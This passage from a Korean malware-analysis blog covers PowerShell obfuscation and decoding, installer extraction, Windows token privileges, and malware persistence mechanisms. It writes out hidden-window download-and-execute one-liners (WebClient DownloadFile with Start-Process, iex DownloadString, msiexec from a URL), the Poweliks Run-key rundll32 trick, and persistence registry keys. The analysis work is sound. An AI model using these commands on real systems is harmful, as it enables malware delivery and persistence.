  [ https://github.com/SanseoLab/ejExtractor ] 해당 링크의 툴을 이용해 위의 Base64로 인코딩된 문자열을 파일로 만든 후 -pgd 옵션을 사용하여 디코딩된 파워셸 스크립트를 얻을 수 있다.



7.2 DeflateStream

  아래의 예시를 보면 알겠지만 위에서 살펴본 GzipStream과 키워드만 다르지 매우 유사하다. 다음과 같이 사용된다.

  

  ... Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVRtc9o4 ...

  

  굳이 추가적인 설명이 필요 없을 정도로 유사하다. 이것 또한 ejExtractor 툴을 이용해서 -pdd 옵션을 사용해서 디코딩할 수 있다.



7.3 SecureDecode

  이것은 앞의 두 방식과는 조금 다르다. 앞에서는 직관적이어서 굳이 문법적인 이해가 필요 없었지만 여기서는 헷갈리는 점이 있으므로 조금 더 구체적으로 설명하려고 한다.

  

  ... [Runtime.InterOpServices.Marshal]::PtrToStringAuto( [Runtime.InterOpServices.Marshal]::SecureStringToBSTR( $('76492d1116743f04 ... DUA' |ConvertTo-SecureString -KeY 160,170,243, ... 204,248)))

  

  ... new-OBJEcT MAnageMEnT.autoMATiOn.pSCREdENtIal ' ',( '76492d11 ... yAGEA'| cONVErtTo-SecuRESTriNg -KEY (78..93)) ).getNEtwoRKCreDenTIAL().pASsWoRD ...

  

  파워셸에서는 비밀번호를 저장하기 위한 용도로 SecureString이라는 것을 지원한다. 여기에 사용되는 함수로 ConvertTo-SecureString과 ConvertFrom-SecureString이 있다. ConverTo-SecureString은 인자에 따라 다른데, 먼저 암호화된 문자열을 SecureString으로 만들어 줄수 있다. 이 때는 -key 옵션을 사용해 키를 인자로 넘겨주어야 한다. 그리고 Plain한 문자열을 SecureString으로 만들어 줄 수도 있는데 이 때는 -AsPlainText 옵션을 사용한다.

  

  ConvertFrom-SecureString 함수는 SecureString을 암호화된 문자열로 변환해 준다. 이것은 ConvertTo-SecureString 함수의 첫 번째 사용법의 반대라고 생각하면 된다. 당연히 암호화를 위한 키를 인자로 받는다.

  

  악성코드의 경우 Plain한 파워셸 스크립트를 ConvertTo-SecureString 함수를 이용해 -AsPlainText를 인자로 하여 SecureString으로 생성할 것이며 이것을 다시 ConvertFrom-SecureString 함수를 이용해 -key 옵션을 통해 해당 키를 사용하여 암호화된 문자열을 생성할 것이다. 앞에서 보이는 문자열은 이 과정을 통해 만들어진 것이다.

  

  이후 실제 악성코드에서는 이렇게 만들어진 문자열에 대해서 ConvertTo-SecureString 함수를 이용해 -key 인자로 들어온 키 값을 사용하여 다시 디코딩된 SecureString을 만들어 줄 것이다. 문제는 이것도 SecureString으로서 가장 처음의 Plain한 스크립트는 아니기 때문에 SecureStringToBSTR 함수를 이용하여 실제 Plain한 스크립트로 만들어줄 수 있다.

  

  참고로 아래의 예시는 비밀번호를 저장하기 위한 용도로 지원되는 또 다른 방식인 PSCredentials이다. 하지만 이것도 어쨌든 SecureString을 이용하기 때문에 실제 인코딩된 데이터를 복호화하는 과정은 동일하다. 즉 만들때만 다르지 악성코드에서 저 방식대로만 사용한다면 똑같이 복호화시켜서 원본 스크립트를 얻을 수 있다.

  

  추가적인 사항으로서 앞에서는 PtrToStringAuto를 사용하였다. 하지만 다른 악성코드들을 보면 이 함수 외에도 PtrToStringUni, PtrToStringAnsi, PtrToStringBSTR를 사용하는 경우를 볼 것이며 이것은 무엇을 사용해도 원본 스크립트를 얻는데 문제가 없다.

  

  마찬가지로 앞에서는 SecureStringToBSTR를 예시로 사용하였지만 SecureStringToGlobalAllocUnicode이나 SecureStringToGlobalAllocAnsi를 사용해도 무방하다. 이것 또한 ejExtractor 툴을 이용해서 -psd 옵션을 사용해서 (키 값이 추가적으로 필요하기 때문에 -key 옵션도 같이 사용해야 한다) 디코딩할 수 있다.





8. 악성코드

  많은 자료들을 가지고 통계를 내는 것이 아니라 여러가지 찾은 내용들을 정리한 내용이다. 아마 실제로는 아래의 내용과는 많이 다를 수 있다.



8.1 악성코드 다운로더 및 실행

  아주 간단한 형태로서 매크로나 .lnk 즉 바로가기 파일을 이용한다. 아래는 바로가기를 기준으로 설명한다. 참고로 앞에 "cmd.exe /c"를 붙여도 되며 붙이지 않아도 되지만 붙이는 경우에는 반드시 "/c" 옵션을 같이 사용해야 한다.


- 다음은 앞에서 언급한 두 가지를 사용하였다. 하나는 DownloadFile()로서 파일을 다운로드하는 메커니즘이며 다른 하나는 Start-Process를 이용해 다운로드 받은 파일을 실행하는 메커니즘이다. 참고로 스크립트 파일을 실행시키는 방식이 아니므로 실행 정책과 관련이 없다.

cmd /c powershell -NoProfile -WindoStyle Hidden (New-Object System.Net.WebClient).DownloadFile('<address>', '<location>');Start-Process <location>


- 다운로드를 위한 다음과 같은 방식도 있다. 기본적으로 느리므로 -WindowStyle Hidden으로 설정하지 않으면 다운로드 과정을 볼 수 있다. -Command 옵션의 유무는 차이가 없어 보인다.

cmd /c powershell.exe -WindowStyle Hidden -c "import-module bitstransfer;Start-BitsTransfer 'address' <location>"



8.2 스크립트 실행

  이것도 7.1의 항목과 같다. 차이점은 스크립트 파일을 실행시키는 것이기 때문에 실행 정책과 관련이 있다는 것이다. 또한 간단한 명령어들 모음 보다는 훨씬 구체적이고 복잡한 내용을 스크립트에 구현할 수 있다.


- 6.2에서 언급한 방식 그대로이다. 스크립트 파일을 실행시키는 방식이 아니기 때문에 실행 정책을 우회할 수 있다.

cmd /c powershell -command "iex(New-Object Net.WebClient).DownloadString('http:../aaa.ps1')"



8.3 고급

  사실 지금까지 본 것들은 간단한 몇 개의 명령어로 이루어진 방식 또는 스크립트를 다운받아서 실행하는 방식이었다. 그러므로 객체를 간단하게 이용하거나 몇 개의 cmdlet을 이용하는 것만 살펴보았다. Poweliks, Kovter, PowerSniff, PowerWare, August, POSHSPY, Phasebot 등의 악성코드들은 이러한 기본 방식이라기 보다는 더 제대로 파워셸을 이용한다. 아직 파워셸에 대한 지식이 많이 없으므로 간단한 것부터 정리하고 추후에 자주 사용되는 것들 위주로 추가하기로 한다. 이외에도 WMI와 관련된 내용도 추가하겠다.


- Poweliks

  사실 직접 분석한 것이 아니고 여러 분석 문서들을 참고해서 분석한 것이기 때문에 내용이 많이 부족하다. 그래도 관련 메커니즘을 공부하기 위해 정리하기로 한다.


  간략하게 설명해서 레지스트리의 HKCU\\software\\microsoft\\windows\\currentversion\\run 키에는 두 개의 값이 써진다. 첫 번째는 아래와 같다.


--------------------------------------------------------------------

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\"[NON-ASCII STRING]" =


rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";

document.write(

  "<script language=jscript.encode>"

  +(new ActiveXObject("WScript.Shell")).

      RegRead("HKCU\\software\\microsoft\\windows\\currentversion\\run\\")

  +"</script>"

)

--------------------------------------------------------------------


  다른 하나는 이름이 "(default)"이며 encoding된 jscript로서 저장된다.


--------------------------------------------------------------------

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\"(default)" = "인코딩된 JScript"

--------------------------------------------------------------------


  첫 라인부터 이해가 필요하다. 다행히도 관련된 내용이 스택오버플로우[ https://stackoverflow.com/questions/25131484/rundll32-exe-javascript ]에 정리되어 있었다. 답변이 참고한 링크는 깨져있지만 이것만으로도 많은 정보를 얻을 수 있다. 이 답변이 없었으면 이런 종류의 트릭과 관련된 정보는 계속 모르고 있었을 것이다.


  어쨌든 이 코드의 목적은 이름이 "(default)"인 인코딩된 js를 실행하는 것이다. 참고로 암호화된 이 부분은 ASCII 문자가 아니므로 NULL 문자가 있어서 regedit으로 읽으려고 할 때 실패하게 된다.


  인코딩된 js는 Powershell과 .NET Frameworks가 설치되었는지 검사한 후 설치되지 않았으면 설치한다. js 내부에도 인코딩된 파워셸이 존재하는데 이후 이것을 실행한다. 이후 파워셸 부분은 아직 분석하지 않아서 이후에 문법적인 부분부터 추가하기로 한다.





9. 참고


- [ https://adsecurity.org/?p=2921 ] : 좋은 도구들이 잘 정리되어 있다.

- [ https://www.endgame.com/blog/technical-blog/deobfuscating-powershell-putting-toothpaste-back-tube ] : 난독화와 관련하여 잘 정리된 링크.

- [ https://github.com/SanseoLab/ejExtractor ] : 위에서 살펴본 파워셸의 3가지 인코딩 방식들에 대한 디코딩 툴.

'악성코드 분석' 카테고리의 다른 글

batch (cmd) 난독화  (0) 2019.02.03
Notepad++ 자동화  (0) 2019.01.31
Access Token 및 권한과 Integirity Level에 대한 정리  (0) 2019.01.27
인스톨러들 분석  (0) 2018.12.16
악성코드 지속 메커니즘  (0) 2018.12.16
Posted by SanseoLab



1. 기본

2. 권한

3. Integrity Level





1. 기본

  Access Token은 계정과 그룹의 SID, 계정의 권한과 관련된 정보를 갖는다. 즉 객체에 대한 주체의 접근 권한을 갖는 것이다. 여러 정보들을 가지고 있지만 여기서는 권한(Privilege) 및 Integrity Level과 관련된 내용만을 다루기로 한다.


  기본적으로 토큰의 핸들을 얻는 함수로 OpenProcessToken()OpenThreadToken()이 있다. 이 두 함수가 실질적으로 어떨때 각각 사용되는지는 잘 모르겠지만 대부분의 경우 OpenProcessToken()이 자주 사용되는것 같아서 이것만 보기로 한다. 이 함수로 핸들을 얻었다면 이제 GetTokenInformation()을 이용하여 Access Token에 관한 정보를 얻을 수 있다. 우리는 인자로 원하는 정보와 관련된 TOKEN_INFORMATION_CLASS [ https://msdn.microsoft.com/en-us/library/windows/desktop/aa379626(v=vs.85).aspx ]를 설정한 후 해당 정보에 맞는 결과를 얻을 수 있다. 참고로 정보를 얻는 것과 반대라고 할 수 있는 즉 값을 설정하는 함수는 SetTokenInformation()이다.


BOOL GetTokenInformation(

    HANDLE    TokenHandle,

    TOKEN_INFORMATION_CLASS    TokenInformationClass,

    LPVOID    TokenInformation,

    DWORD    TokenInformationLength,

    PDWORD    ReturnLength

);


  TOKEN_INFORMATION_CLASS enumeration을 조금 더 살펴보기로 한다. 여기에서는 두 가지만 다룰 것이다. 하나는 TokenPrivilegs이며 다른 하나는 TokenIntegrityLevel이다. 즉 인자 TokenInformationClass에 원하는 타입을 정의하면 또 다른 인자인 TokenInformation에 결과가 반환된다.


  참고로 이것들과 관련된 함수들 중에서 추가적으로 PrivilegeCheck()라는 API도 존재하는데 이 함수는 특정한 권한이 Access Token에 활성화되었는지 여부를 알려주며, 활성화된 권한만 얻을 수 있다. Access Token의 활성화/비활성화된 모든 권한을 얻기 위해서는 GetTokenInformation()을 사용해야 한다.


  지금까지의 내용을 정리하면 다음과 같다. 프로세스의 토큰 핸들을 얻어서 정보를 조회하는 과정이며 인자에 따라 원하는 결과를 획득할 수 있다.


OpenProcessToken() / OpenThreadToken()

  - >

GetTokenInformation() / SetTokenInformation()

  또는

PrivilegeCheck()


  여기서 다룰 TOKEN_INFORMATION_CLASS 즉 TokenInformationClass는 다음과 같다.


TokenPrivilegs

TokenIntegrityLevel





2. 권한

  GetTokenInformation() 함수의 인자 TokenInformationClassTokenPrivilegs를 넣고 호출 시 인자 TokenInformationTOKEN_PRIVILEGES 구조체가 반환된다.


  LookupPrivilegeValue() 함수는 Privilege Constants [ https://msdn.microsoft.com/en-us/library/windows/desktop/bb530716(v=vs.85).aspx ]를 가지고 여기에 해당하는 LUID(Locally Unique IDentifier)를 돌려준다. 이 함수를 이용해 우리는 GetTokenInformation()를 통해 구한 TOKEN_PRIVILEGES 구조체에서 원하는 권한이 활성화되었는지 등의 여부를 확인할 수 있다.


  LUID는 AdjustTokenPrivileges() 함수에서도 사용된다. 이것은 명시한 권한을 활성화/비활성화 시켜주는 함수이다. 참고로 Access Token에 새로운 권한을 주지는 못하며 단지 토큰에 존재하는 권한을 활성화/비활성화 시키는 역할을 한다. 


  AdjustTokenPrivileges()는 인자로 토큰 핸들과 TOKEN_PRIVILEGES를 받는데, 이 구조체의 LUID를 LookupPrivilegeValue() 함수가 Privilege Constants를 통해 검색하여 얻은 LUID로 설정하고 Attributes를 SE_PRIVILEGE_ENABLED로 설정함으로써 원하는 권한을 활성화 시킬 수 있다. 


  예를들어 일반적으로 후킹에서 사용될 때는 LookupPrivilegeValue()의 인자 Privilege Constants를 SE_DEBUG_NAME (문자열로는 "SeDebugPrivilege") 으로 설정하여 이에 대한 LUID를 얻고 이것을 AdjustTokenPrivileges()로 활성화시키는 코드를 많이 보았을 것이다. 참고로 활성화 여부를 먼저 검사하거나 하는 위의 복잡한 과정 없이 활성화 여부에 상관없이 일단 활성화 시켜본 후 성공 여부에 따라 작업함에 따라 이 2개의 함수만 사용되는 예제도 많이 있다.


  즉 권한 활성화 및 비활성화 관련해서 사용되는 함수는 다음과 같다.


OpenProcessToken() / OpenThreadToken()

  - >

  [

    GetTokenInformation()

      - >

  ]

LookupPrivilegeValue()

  - >

AdjustTokenPrivileges()





3. Integrity Level

  다음으로 TokenIntegrityLevel 구조체 즉 Integrity Level에 대한 내용을 보겠다. GetTokenInformation() 함수의 인자 TokenInformationClassTokenIntegrityLevel를 넣고 호출 시 TOKEN_MANDATORY_LABEL 구조체가 반환된다.


  Integrity Level과 관련된 설명은 [ http://sanseolab.tistory.com/27 ]에 되어있고 여기서는 MSDN에 나와있는 예제만 소개한다. 링크 주소는 다음과 같다. [ https://msdn.microsoft.com/en-us/library/bb625966.aspx ] 이 코드는 현재 프로세스가 자신의 Integrity Level을 출력해주는 함수이다.


  간단한 예제로서 초기 루틴은 앞에서 다룬 GetTokenInformation()TokenIntegrityLevel을 인자로 넣어 TOKEN_MANDATORY_LABEL 구조체를 획득하는 과정이다. 그 다음으로는 TOKEN_MANDATORY_LABEL 구조체의 SID 관련 필드를 인자로 하여 GetSidSubAuthority()를 호출하여 Integrity Level을 구한다. 참고로 GetSidSubAuthorityCount()도 같이 사용된다.


  결과적으로 Integrity Level을 구할 때 사용되는 함수는 다음과 같다.


OpenProcessToken() / OpenThreadToken()

  - >

GetTokenInformation()

  - >

GetSidSubAuthority() 및 GetSidSubAuthorityCount()





'악성코드 분석' 카테고리의 다른 글

Notepad++ 자동화  (0) 2019.01.31
파워셸(PowerShell)과 악성코드  (0) 2019.01.31
인스톨러들 분석  (0) 2018.12.16
악성코드 지속 메커니즘  (0) 2018.12.16
TotalCommand 자동화  (0) 2018.12.16
Posted by SanseoLab



0. 개요

1. Inno Setup

2. NSIS ( NullSoft Install System )

3. msi ( Microsoft Installer )





0. 개요

  프로그램을 설치한다는 것은 단순히 내부에 압축된 파일을 풀고 특정 폴더에 위치시키는 것이 전부인 경우가 많을 것이다. 물론 이미 설치된 경우에는 지우는 기능이 추가되어 있을 수도 있고, 설치 파일에서 드랍하는 방식이 아니라 다운로드하는 방식일 수도 있다. 이러한 기능들 외에도 레지스트리를 등록하는 등의 추가적인 기능이 존재할 수 있다.


  바이너리를 분석하다 보면 설치 과정 중 크래시가 나는 경우라던지 아니면 실행시키지 않고 정적으로 분석하고 싶은 경우가 있을 수 있다. 이러한 경우에는 내부의 파일을 추출하는 기능이 있으면 편리하다. 꼭 파일 뿐만 아니라 다운로드하여 설치하는 인스톨러라면 그 스크립트를 추출할 수 있으면 굳이 직접 설치할 필요 없이 분석을 진행할 수 있다.


  대부분의 경우 그냥 설치한 후 설치된 파일을 가지고 분석하면 되겠지만 가끔씩 필요한 경우가 생기며 이 때 유용하게 사용할 수 있는 방식들을 정리하려고 한다.





1. Inno Setup

  대표적으로 많이 사용되는 인스톨러 프로그램 중 하나이다. 간단하게 InnoExtractor라는 툴 하나만 있으면 된다. 내부의 파일들 뿐만 아니라 설치 스크립트 파일까지 추출할 수 있다. 설치 스크립트는 .iss 확장자를 가진 텍스트 파일이다. 직과적이기 때문에 어떤 파일이 어디에 어떤 이름으로 위치하게 되는지 등의 정보를 확인할 수 있다.


  드래그 앤 드랍으로 설치 파일을 InnoExtractor에 드랍하면 많은 정보를 한 눈에 확인할 수 있다. 설치될 파일들은 "Application" 폴더에 존재하며, 설치 스크립트 파일은 "Script Files (Installer)" 폴더에서 확인할 수 있다. 장점으로 원하는 파일만 드래그 앤 드랍으로 추출할 수도 있다.


  간단하지만 암호가 걸린 경우도 있다. 이 때는 "Application" 폴더에 위치한 설치될 파일들을 추출할 때 암호가 필요한데, 굳이 이런 경우라면 그냥 설치하면 될 것이기 때문에 큰 상관은 없어보인다.


  앞에서도 언급했듯이 스크립트가 중요한 이유는 인스톨러가 다운로드 기능을 포함할 수 있기 때문이다. 기본적으로 제공되는 기능은 아닌것 같고 IsTools나 InnoTools Downloader라는 DLL로 제공되는 일종의 플러그인을 사용해야 한다. 물론 분석할 때는 간단하게 스크립트 파일에서 url만 확인하면 될 것이다.


  마지막으로 InnoExtractor 외에도 innounp라는 커맨드 라인 도구도 존재한다. 자동화를 하고자 할 때 이 커맨드 라인 프로그램을 이용하면 쉽게 자동화 스크립트를 작성할 수 있을 것이다.





2. NSIS ( NullSoft Install System )

  널소프트 인스톨러는 7z 같은 압축 프로그램으로 간단하게 압축을 해제할 수 있다. 압축을 해제한 후 내부 폴더를 보면 $PLUGINSDIR 등의 폴더와 설치될 파일들을 확인할 수 있다. 참고로 이 내부에 system.dll을 거의 항상 볼 수 있을 것이다.


  스크립트 파일은 .nsi 확장자를 가진 텍스트 파일이다. 널소프트의 경우도 Inno Setup 처럼 다운로더 기능을 가질 수 있다. 그렇기 때문에 스크립트가 중요하다. 과거에는 7-zip을 이용하여 압축 해제 시에 딱히 .nsi 스크립트 파일을 확인할 수 없어서 불가능한 것으로 알고 있었지만, 7-zip의 버전 9.34 부터 15.06 까지는 이 .nsi 스크립트도 압축 해제할 수 있다는 것을 알게 되었다. 즉 과거의 특정 버전부터 특정 버전들 사이에 .nsi 스크립트 해제 기능이 존재했었다는 것이다. 해당 버전을 설치하고 압축 해제를 진행해보니 이전에 사용했던 것과는 다르게 "[NSIS].nsi" 파일이 추가적으로 압축 해제가 가능했다. 


  결론적으로 v9.34 - v15.06 사이의 7-zip을 설치하면 이것도 InnoSetup과 같이 스크립트 추출이 가능하다.


  NSIS는 악성코드에서도 자주 사용된다. system.dll을 보면 Call() 함수를 Export하는 것을 확인할 수 있는데 스크립트에서 이 함수를 이용해 kernel32.dll 같은 dll의 함수를 이용할 수 있다고 한다. 사실 복잡하게 해당 함수들을 이용해 코딩하는 수준 까지는 확인하지 못했다. 몇 개의 악성코드들을 확인한 결과 쓰레기 파일들과 함께 인코딩된 데이터, 실제 악성 행위를 하는 dll 파일을 드랍한 후 Call() 함수를 이용해 해당 DLL을 로드하거나 (DllMain()에 악성 루틴이 있는 경우) 아니면 해당 DLL이 export하는 특정 함수를 호출하면 이곳에 악성 루틴이 존재하여 인코딩된 데이터 파일을 읽은 후 이를 복호화하여 인젝션하는 등의 방식이었다.


  사실 실질적인 루틴은 드랍되는 dll에 있긴 하지만 그래도 디버깅을 통해 이러한 방식이라는 점을 확인하는 것 보다는 간단하게 .nsi 스크립트를 읽어와 쓰레기 파일과 실제 필요한 파일을 구분하고, 어떤 메커니즘으로 동작하는 가를 확인하는 것이 더 정확하고 빠른 분석이 가능하다고 생각한다.





3. msi ( Microsoft Installer )

  널소프트 인스톨러처럼 압축 프로그램을 이용하여 내부의 파일들을 추출할 수 있다. 확장자가 나와 있지는 않지만 어차피 크기만 보고도 PE인지 확인할 수 있을 것이다.


  특이점은 msi의 경우 파일의 시그니처가 doc, xls 같이 "D0 CF"로 시작한다는 점이다. 즉 msi 파일은 위의 다른 인스톨러들처럼 실행 파일이 아니라 데이터 파일이다. msi 파일을 실행할 경우 msiexec.exe라는 프로그램이 자동으로 이 msi 파일을 가지고 설치를 진행한다.


  msi 파일을 더블 클릭하면 다음과 같이 msiexec.exe가 msi를 인자로 받고 실행된다. 참고로 /i 인자는 install 즉 설치를 의미한다.

> msiexec.exe /i "$PATH\aaa.msi"


  중요한 점은 msiexec.exe가 msi 파일을 받을 때 현재 로컬에 있는 경우 뿐만 아니라 web에서도 받아와서 설치할 수 있다는 것이다. 즉 특정 주소에 msi 파일을 올려놓은 후 인자로 해당 msi 파일을 포함한 URL 주소를 넣고 msiexec.exe를 실행시킬 경우 다운로드 및 설치가 진행된다.

> msiexec.exe /i "http://www.aaa.co.kr/data/aaa.msi"


  msi 파일은 분석용으로 "jsMSIx.exe"라는 프로그램이 가장 괜찮아 보인다. 7z로 압축을 푸는 경우에는 설치될 exe 파일만 확인할 수 있겠지만 이 툴로 푸는 경우 exe 파일이 어느 디렉터리에 설치될지에 따라 해당 위치에 대한 디렉터리들까지 생성하여 exe를 위치시키기 때문에 더 많은 정보를 확인할 수 있다. (물론 실제 위치는 아니고 결과 폴더 내부에 적절하게 위치된다) 또한 msi 파일의 경우 파일 설치 외에도 레지스트리를 설정하는 것도 가능한데 jsMSIx.exe는 결과 폴더에 같이 생성되는 "MSI Unpack.log" 파일을 통해 어느 레지스트리 키가 생성되는지 또한 어느 값이 설정되는지도 동시에 파악할 수 있다. 즉 직접 설치하지 않고 어느 폴더에 어느 파일이 생성되며 어느 레지스트리 키가 생성되는지 등의 정보를 확인할 수 있는 것이다.



'악성코드 분석' 카테고리의 다른 글

파워셸(PowerShell)과 악성코드  (0) 2019.01.31
Access Token 및 권한과 Integirity Level에 대한 정리  (0) 2019.01.27
악성코드 지속 메커니즘  (0) 2018.12.16
TotalCommand 자동화  (0) 2018.12.16
x64dbg 분석 팁  (0) 2018.12.15
Posted by SanseoLab



0. 개요

1. File Infection

2. DLL 로딩 순서 하이재킹

3. 레지스트리

4. 서비스

5. 작업 스케줄러

6. COM Object Hijacking

7. 루트킷

8. etc





0. 개요

  여기서는 윈도우 시스템에서의 악성코드 지속 메커니즘(Persistence Mechanism)을 다룬다. 악성코드는 프로그램이며 그래서 실행될 필요가 있다. 가장 처음 바이너리의 주입 및 실행을 통한 감염 이후 단편적인 행위만 수행하고 스스로 삭제되는 형태가 아니고서야 대부분의 악성코드는 지속적으로 컴퓨터에 남아 프로세스로서 실행되면서 악의적인 행위를 수행할 것이다. 

  하지만 악성코드의 대상은 대부분 데스크탑 컴퓨터일 것이기 때문에 시스템 종료 같은 변화가 생긴다. 악성코드 바이너리는 컴퓨터에 남아 있겠지만 악의적인 행위를 하기 위해서는 프로세스로서 실행되어야 하기 때문에 시스템 부팅 시 마다 또는 악의적인 대상이 되는 프로세스의 실행 시 마다 악성코드가 프로세스로서 실행중일 필요가 있다. 그러기 위해서는 부팅 시에 실행되게 하거나 대상 프로세스를 가질 시에 적어도 이 프로세스가 실행될 때 마다 악성코드가 실행되어야 할 필요가 있다.





1. File Infection

  이 방식은 공격 대상 파일을 감염시켜서 악의적인 행위를 수행하게 한다. 다양한 방식으로 사용될 수 있지만 기본적으로 중간에 흐름을 가로채는 것과 악의적인 루틴이 삽입되는 것을 공통점으로 갖는다. 그리고 실행 파일 자체를 감염시킬 수도 있지만 로드되는 DLL을 감염시킬 수도 있다.

  만약 대상 프로그램이 실행될 때 마다 악의적인 행위를 수행할 필요가 있다면 프로그램 초기에 또는 특정한 함수 호출 시마다 미리 심어놓은 루틴으로 분기시켜서 악의적인 행위를 수행하게 할 수 있다. 또는 이 프로그램이 시스템 부팅 시 마다 실행되는 프로세스라면 컴퓨터를 켤 때마다 악의적인 루틴이 실행될 수 있다. 이 프로세스가 종료 시 까지 유지되지 않는다고 하더라도 독립적으로 존재하는 악성코드를 실행시킨는 루틴을 삽입할 수 있다.





2. DLL 로딩 순서 하이재킹

  프로세스가 DLL을 로드할 때는 특정한 순서가 존재한다. 가장 먼저 프로세스의 실행 파일이 존재하는 디렉터리에서 찾은 후 존재하지 않는다면 현재 디렉터리 그리고 시스템 디렉터리 순으로 찾게 된다. 만약 DLL 로드 시에 제대로 검증하지 않는다면 로드할 DLL의 이름과 같은 이름을 가진 악의적인 DLL을 더 높은 우선순위를 가진 디렉터리에 넣어 DLL 하이재킹을 수행할 수 있다. 결론적으로 특정 프로세스 실행 시에 악의적인 DLL이 로드됨으로써 코드가 실행될 수 있다.





3. 레지스트리

  가장 대표적인 방식으로서 많은 악성코드에서 사용된다.


3.1 Run / RunOnce


[ HKCU\Software\Microsoft\Windows\CurrentVersion\Run ]

[ HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce ]

[ HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnceEx ]

[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ]

[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce ]

[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx ]


  HKCU에 존재하는 값은 일반 사용자도 수정할 수 있지만 HKLM의 경우에는 관리자 권한이 필요하다. 대신 HKLM은 전체 시스템에서 모두 통하는 방식이지만 HKCU의 경우에는 해당 사용자 부팅 시에만 실행된다. 그리고 RunOnce는 오직 한 번만 실행되고 이후에는 삭제되므로 시스템 부팅 시 마다 실행하고 싶은 경우에는 Run을 사용한다. 마지막으로 RunOnce는 프로그램 시작 이후로 바로 레지스트리 키를 삭제하지만 RunOnceEx는 종료된 후에 삭제한다.



3.2 Windows\load / run


[ HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load ]

[ HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\run ]


  유저 로그온 시 실행된다.



3.3 Policies\Explorer\Run


[ HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run ]

[ HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run ]


- Group Policy에서 설정한 경우 반영되는 레지스트리

- 액티브 디렉터리(인증 관리 등 컴퓨터 네트워크의 자원 관리)와 관련된 개념

- 관리자가 정책을 할당하고 관리할 수 있다.



3.4 WinLogon 프로세스에서 사용되는 키들

  winlogon.exe는 사용자 로그온 시에 실행되는 프로세스로서 인증과 초기화 등을 담당한다.


[ HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon - Userinit ]


  WinLogon은 초기화를 진행하기 위해 이곳의 Userinit 키에 명시된 값을 시작한다. 일반적으로 값은 userinit.exe이며 이 프로세스가 초기화를 진행한다. 하지만 이 값을 수정할 수 있기 때문에 부팅 시 마다 악성코드를 실행시키는데 사용될 수 있다.


[ HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon - Shell ]

[ HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon - Shell ]


  WinLogon은 마지막에 Shell을 실행시키는 역할도 수행하는데 윈도우에서 셸은 기본적으로 EXPLORER이다. 그러므로 디폴트 값은 explorer.exe다. 이것도 마찬가지로 수정할 수 있다.



3.5 Startup Keys


[ HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders - Startup ]

[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders - Startup ]

[ HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders - Startup ]

[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders - Startup ]


  디폴트 값은 %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup이다. 즉 우리에게 익숙한 "시작 프로그램" 폴더이다.



3.6 Browser Helper Objects (BHO)


[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects ]


  BHO는 브라우저에서 추가적인 기능을 지원하기 위해 만들어진 플러그인 형태의 DLL 모듈이다. 실질적인 내용은 IE 실행 시에 이 DLL이 로드되기 때문에 악성코드가 사용한다. 참고로 BHO는 윈도우 10의 IE 11에서도 아직 지원된다고 한다. 물론 Edge는 지원하지 않는다.



3.7 서비스

  서비스도 레지스트리와 많은 연관이 있다. 이 부분은 따로 뒤에서 자세히 정리하겠다.



3.8 AppInit_DLLs

[ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs ]

  여기에 저장된 값 즉 경로는 User32.dll의 DLL_PROCESS_ATTACH 과정에서 LoadLibrary() 함수를 통해 로드된다. 대부분의 실행 파일들이 user32.dll을 로드하기 때문에 많은 악성코드가 자주 사용하는 레지스트리이다.


[ HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDLLs ]

  이 외에도 AppCertDlls 레지스트리도 존재한다. 위와의 차이점은 CreateProcess(), CreateProcessAsUser(), CreateProcessWithLogonW(), CreateProcessWithTokenW(), WinExec()를 호출하는 프로세스에만 로드된다는 것이다.



3.9 IFEO ( Image File Execution Options )


[ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options ]


  원래 프로세스 실행 시에 자동으로 디버거가 Attach시키도록 하는 방식으로 사용된다. 악성코드는 자신을 여기에 등록시킬 수 있다.



3.10 GPO (Group Policy Object)를 이용한 방식


  Gootkit 악성코드에서 사용된 방식이다. 이 악성코드는 APPDATA 폴더에 정상과 유사한 이름의 디렉터리를 생성하고 악성코드를 복사한다. 동시에 같은 이름을 가진 .inf 파일을 동일한 폴더에 복사한다. 다음 [ https://forums.juniper.net/t5/Threat-Research/New-Gootkit-Banking-Trojan-variant-pushes-the-limits-on-evasive/ba-p/319055 ] 링크에서 사용된 샘플을 예시로 든다.


File Path : %APPDATA%\\Microsoft\Internet Explorer\mounper.exe

Inf Path : %APPDATA%\\Microsoft\Internet Explorer\mounper.inf


  .inf 파일의 내용은 다음과 같다.


[Version]

signature = "$CHICAGO$"

AdvancedINF = 2.5, "You need a new version of advpack.dll"


[DefaultInstall]

RunPreSetupCommands = fvybqltbgwzfaxgrgbktmbjcnfbcgu:2


[fvybqltbgwzfaxgrgbktmbjcnfbcgu]

C:\Users\Administrator\AppData\Roaming\Microsoft\Internet Explorer\mounper.exe



  이후 다음 레지스트리 키들을 생성한다.


